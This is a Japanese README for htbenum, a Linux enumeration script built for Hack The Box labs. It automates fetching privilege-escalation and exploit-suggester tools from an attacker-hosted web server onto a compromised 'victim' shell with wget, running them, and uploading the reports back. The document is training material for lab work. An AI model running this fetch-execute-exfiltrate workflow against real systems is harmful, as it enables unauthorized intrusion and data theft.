solomonsklash/htbenumHack The Box 向けの Linux 列挙スクリプト
Hack The Box向けのLinux列挙スクリプト
このスクリプトは、Linuxホストでインターネットアクセスがなく、Hack The Boxなどの列挙やエクスプロイト提案スクリプトを実行したい状況向けに設計されています。Linuxボックスに最初の足掛かりを得たとき、同様のスクリプトセットをよく実行するため、このスクリプトは各列挙スクリプトの最新バージョンのダウンロード、実行可能化、実行、および後で確認するための出力ファイルへの保存を自動化します。また、ツールをホストし、レポートをホストマシンにアップロードするための組み込みWebサーバーも備えています。
プルリクエスト/提案歓迎！
./htbenum.sh [-u] -i IP -p port [-o directory] [-w] [-r]
例：
ホストマシン: root@kali:~/htbenum# ./htbenum.sh -u
ホストマシン: root@kali:~/htbenum# ./htbenum.sh -i 10.10.14.1 -p 80 -w
ターゲットマシン: www-data@victim:/tmp$ wget http://10.10.14.1:80/htbenum.sh
ターゲットマシン: www-data@victim:/tmp$ chmod +x ./htbenum.sh
ターゲットマシン: www-data@victim:/tmp$ ./htbenum.sh -i 10.10.14.1 -p 80 -r
パラメータ:
-h - ヘルプと使用方法を表示。
-i IP - ダウンロードとアップロードに使用するリスニングWebサーバーのIPアドレス。
-p port - ダウンロードとアップロードに使用するリスニングWebサーバーのTCPポート。
-o directory - カスタムのダウンロードおよびレポート作成ディレクトリ（デフォルトは/tmp）。
-w - ファイルのダウンロードとレポートのアップロードのための組み込みWebサーバーを起動。
-u - 各ツールを最新バージョンに更新し、既存のバージョンを上書き。
-r - レポートをホストマシンのWebサーバーにアップロード（PUTリクエストをサポートする必要あり）。
htbenumを使用するには、リポジトリをクローンし、ローカルマシンでupdateパラメータを指定してスクリプトを実行します。これにより、必要なすべてのスクリプトがインターネット（Github）からダウンロードされ、htbenum.shと同じディレクトリに配置されます：
root@kali:~# git clone https://github.com/SolomonSklash/htbenum
root@kali:~# cd htbenum
root@kali:~/htbenum# ./htbenum.sh -u
_ _ ___________ _____ _ _ _ ____ ___
| | | |_ _| ___ \ ___| \ | | | | | \/ |
| |_| | | | | |_/ / |__ | \| | | | | . . |
| _ | | | | ___ \ __|| . ` | | | | |\/| |
| | | | | | | |_/ / |___| |\ | |_| | | | |
\_| |_/ \_/ \____/\____/\_| \_/\___/\_| |_/
By Solomon Sklash - [email protected]
[i] Updating all tools...
2019-11-25 17:54:55 URL:https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh [31859/31859] -> "lse.sh" [1]
2019-11-25 17:54:55 URL:https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh [46476/46476] -> "linenum.sh" [1]
2019-11-25 17:54:56 URL:https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py [25304/25304] -> "linuxprivchecker.py" [1]
2019-11-25 17:54:56 URL:https://raw.githubusercontent.com/initstring/uptux/master/uptux.py [29853/29853] -> "uptux.py" [1]
2019-11-25 17:54:56 URL:https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py [12614/12614] -> "suid3num.py" [1]
2019-11-25 17:54:57 URL:https://raw.githubusercontent.com/belane/linux-soft-exploit-suggester/master/linux-soft-exploit-suggester.py [13886/13886] -> "les-soft.py" [1]
2019-11-25 17:54:58 URL:https://raw.githubusercontent.com/offensive-security/exploit-database/master/files_exploits.csv [5669905/5669905] -> "files_exploits.csv" [1]
2019-11-25 17:54:58 URL:https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh [82214/82214] -> "les.sh" [1]
[i] Update complete!
root@kali:~/htbenum#
次に、組み込みWebサーバーを起動してツールをホストし、完了したレポートを受け取ります。サーバーにはPython 3が必要です。ツールをホストするために独自のWebサーバーを使用することもできますが、レポートのアップロードにはPUTリクエストをサポートする必要があります。
root@kali:~/htbenum# ./htbenum.sh -i 10.10.14.1 -p 80 -w
最後に、htbenum.shスクリプトをターゲットマシンにアップロードし、実行可能にして、ホストマシンのIPとポートを指定して実行します。ファイルのダウンロードとレポート出力の書き込みに使用するディレクトリはオプションで指定できます。また、レポートをホストマシンにアップロードすることもオプションです。例：
www-data@htb:/tmp$ wget http://10.10.99.100/htbenum.sh -O /tmp/htbenum.sh
www-data@htb:/tmp$ chmod +x ./htbenum.sh
www-data@htb:/tmp$ ./htbenum.sh -i 10.10.14.1 -p 80 -r
各ツールの出力は、htbenum.shスクリプトと同じディレクトリ、または-dパラメータで指定されたディレクトリ内のレポートファイルに送信されます。